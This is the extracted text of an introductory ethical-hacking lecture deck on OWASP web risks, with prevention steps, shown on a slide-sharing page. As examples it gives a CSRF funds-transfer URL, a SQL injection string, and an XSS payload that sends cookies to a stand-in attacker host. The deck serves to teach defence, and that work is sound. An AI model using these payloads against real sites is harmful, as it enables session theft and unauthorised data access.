SlideShare uma empresa Scribd logo

Hacking the Web

•
•
Mike Crabb
Mike Crabb

Slides used to introduce some basic concepts used in web hacking.

TecnologiaInternet
1 de 20
Baixar para ler offline
HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING

Recomendados

Cyber Crime and Prevention Tips
Cyber Crime and Prevention TipsCyber Crime and Prevention Tips
Cyber Crime and Prevention TipsTayyab Farooq
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical HackingNitheesh Adithyan
 
Cyber crime
Cyber crimeCyber crime
Cyber crimerishith23
 
Ethical hacking course
Ethical hacking courseEthical hacking course
Ethical hacking courseChitraKuder
 
Montreal Girl Geeks: Building the Modern Web
Montreal Girl Geeks: Building the Modern WebMontreal Girl Geeks: Building the Modern Web
Montreal Girl Geeks: Building the Modern WebRachel Andrew
 
Basic WordPress for Beginner ppt
Basic WordPress for Beginner pptBasic WordPress for Beginner ppt
Basic WordPress for Beginner pptDipika Wadhvani
 
Cyber crime &amp; security final tapan
Cyber crime &amp; security final tapanCyber crime &amp; security final tapan
Cyber crime &amp; security final tapanTapan Khilar
 
social engineering
social engineering social engineering
social engineeringRavi Patel
 

Recomendados

Cyber Crime and Prevention Tips
Cyber Crime and Prevention TipsCyber Crime and Prevention Tips
Cyber Crime and Prevention TipsTayyab Farooq
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical HackingNitheesh Adithyan
 
Cyber crime
Cyber crimeCyber crime
Cyber crimerishith23
 
Ethical hacking course
Ethical hacking courseEthical hacking course
Ethical hacking courseChitraKuder
 
Montreal Girl Geeks: Building the Modern Web
Montreal Girl Geeks: Building the Modern WebMontreal Girl Geeks: Building the Modern Web
Montreal Girl Geeks: Building the Modern WebRachel Andrew
 
Basic WordPress for Beginner ppt
Basic WordPress for Beginner pptBasic WordPress for Beginner ppt
Basic WordPress for Beginner pptDipika Wadhvani
 
Cyber crime &amp; security final tapan
Cyber crime &amp; security final tapanCyber crime &amp; security final tapan
Cyber crime &amp; security final tapanTapan Khilar
 
social engineering
social engineering social engineering
social engineeringRavi Patel
 
Cyber security
Cyber securityCyber security
Cyber securityDr. Kishor Nikam
 
6 Security Tips for Using Public WiFi
6 Security Tips for Using Public WiFi6 Security Tips for Using Public WiFi
6 Security Tips for Using Public WiFiQuick Heal Technologies Ltd.
 
Cybersecurity
CybersecurityCybersecurity
Cybersecurityjumanne rajabu
 
Internet of Things
Internet of ThingsInternet of Things
Internet of Thingspkshc01
 
The biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of MetaverseThe biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of MetaverseRafael Rodrigo Leitão
 
CYBER SECURITY
CYBER SECURITYCYBER SECURITY
CYBER SECURITYVaishak Chandran
 
Ethical hacking presentation
Ethical hacking presentationEthical hacking presentation
Ethical hacking presentationGeorgekutty Francis
 
Introduction to php
Introduction to phpIntroduction to php
Introduction to phpTaha Malampatti
 
presentation on cyber crime and security
presentation on cyber crime and securitypresentation on cyber crime and security
presentation on cyber crime and securityAlisha Korpal
 
Cyber security presentation
Cyber security presentationCyber security presentation
Cyber security presentationBijay Bhandari
 
Password Policy and Account Lockout Policies
Password Policy and Account Lockout PoliciesPassword Policy and Account Lockout Policies
Password Policy and Account Lockout Policiesanilinvns
 
What is a malware attack?
What is a malware attack?What is a malware attack?
What is a malware attack?AariyaRathi
 
Ethical hacking presentation
Ethical hacking presentationEthical hacking presentation
Ethical hacking presentationSuryansh Srivastava
 
Ethical hacking Presentation
Ethical hacking PresentationEthical hacking Presentation
Ethical hacking PresentationAmbikaMalgatti
 
Cyber Safety For Educators
Cyber Safety For EducatorsCyber Safety For Educators
Cyber Safety For EducatorsMaria Petropulos
 
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data SecureSmartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data SecureHeimdal Security
 
Security risks with fake apps
Security risks with fake appsSecurity risks with fake apps
Security risks with fake appsQuick Heal Technologies Ltd.
 
بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers Abdullah AlQarni
 
Cybercrime presentation
Cybercrime presentationCybercrime presentation
Cybercrime presentationRajat Jain
 
CyberCrimes
CyberCrimesCyberCrimes
CyberCrimesFettah Kurtulus
 
Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 

Mais conteúdo relacionado

Mais procurados

Internet of Things
Internet of ThingsInternet of Things
Internet of Thingspkshc01
 
The biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of MetaverseThe biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of MetaverseRafael Rodrigo Leitão
 
presentation on cyber crime and security
presentation on cyber crime and securitypresentation on cyber crime and security
presentation on cyber crime and securityAlisha Korpal
 
Cyber security presentation
Cyber security presentationCyber security presentation
Cyber security presentationBijay Bhandari
 
Password Policy and Account Lockout Policies
Password Policy and Account Lockout PoliciesPassword Policy and Account Lockout Policies
Password Policy and Account Lockout Policiesanilinvns
 
What is a malware attack?
What is a malware attack?What is a malware attack?
What is a malware attack?AariyaRathi
 
Ethical hacking Presentation
Ethical hacking PresentationEthical hacking Presentation
Ethical hacking PresentationAmbikaMalgatti
 
Cyber Safety For Educators
Cyber Safety For EducatorsCyber Safety For Educators
Cyber Safety For EducatorsMaria Petropulos
 
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data SecureSmartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data SecureHeimdal Security
 
بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers Abdullah AlQarni
 
Cybercrime presentation
Cybercrime presentationCybercrime presentation
Cybercrime presentationRajat Jain
 

Mais procurados (20)

Cyber security
Cyber securityCyber security
Cyber security
 
6 Security Tips for Using Public WiFi
6 Security Tips for Using Public WiFi6 Security Tips for Using Public WiFi
6 Security Tips for Using Public WiFi
 
Cybersecurity
CybersecurityCybersecurity
Cybersecurity
 
Internet of Things
Internet of ThingsInternet of Things
Internet of Things
 
The biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of MetaverseThe biggest challenge with the Cybersecurity in the era of Metaverse
The biggest challenge with the Cybersecurity in the era of Metaverse
 
CYBER SECURITY
CYBER SECURITYCYBER SECURITY
CYBER SECURITY
 
Ethical hacking presentation
Ethical hacking presentationEthical hacking presentation
Ethical hacking presentation
 
Introduction to php
Introduction to phpIntroduction to php
Introduction to php
 
presentation on cyber crime and security
presentation on cyber crime and securitypresentation on cyber crime and security
presentation on cyber crime and security
 
Cyber security presentation
Cyber security presentationCyber security presentation
Cyber security presentation
 
Password Policy and Account Lockout Policies
Password Policy and Account Lockout PoliciesPassword Policy and Account Lockout Policies
Password Policy and Account Lockout Policies
 
What is a malware attack?
What is a malware attack?What is a malware attack?
What is a malware attack?
 
Ethical hacking presentation
Ethical hacking presentationEthical hacking presentation
Ethical hacking presentation
 
Ethical hacking Presentation
Ethical hacking PresentationEthical hacking Presentation
Ethical hacking Presentation
 
Cyber Safety For Educators
Cyber Safety For EducatorsCyber Safety For Educators
Cyber Safety For Educators
 
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data SecureSmartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
Smartphone Security Guide: The Easiest Way to Keep Your Phone & Data Secure
 
Security risks with fake apps
Security risks with fake appsSecurity risks with fake apps
Security risks with fake apps
 
بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers بحث علمي عن الهاكرز . Hackers
بحث علمي عن الهاكرز . Hackers
 
Cybercrime presentation
Cybercrime presentationCybercrime presentation
Cybercrime presentation
 
CyberCrimes
CyberCrimesCyberCrimes
CyberCrimes
 

Semelhante a Hacking the Web

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs securityJongseok Choi
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Codemotion
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoidslicklash
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoEoin Keary
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityAlexander Benoit
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals Adnan Rashid
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Arthur Paixão
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encodingEoin Keary
 

Semelhante a Hacking the Web (20)

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC Identity
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoid
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and Manico
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint Security
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encoding
 

Mais de Mike Crabb

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesMike Crabb
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive InterfacesMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review ProcessMike Crabb
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative ResearchMike Crabb
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative DataMike Crabb
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisMike Crabb
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational ResearchMike Crabb
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus GroupsMike Crabb
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing InterviewsMike Crabb
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative ResearchMike Crabb
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible DesignMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph DesignMike Crabb
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map DesignMike Crabb
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level DataMike Crabb
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentMike Crabb
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowMike Crabb
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHPMike Crabb
 

Mais de Mike Crabb (20)

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach Places
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive Interfaces
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review Process
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative Research
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative Data
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document Analysis
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational Research
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus Groups
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing Interviews
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative Research
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible Design
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph Design
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map Design
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level Data
 
Using Cloud in an Enterprise Environment
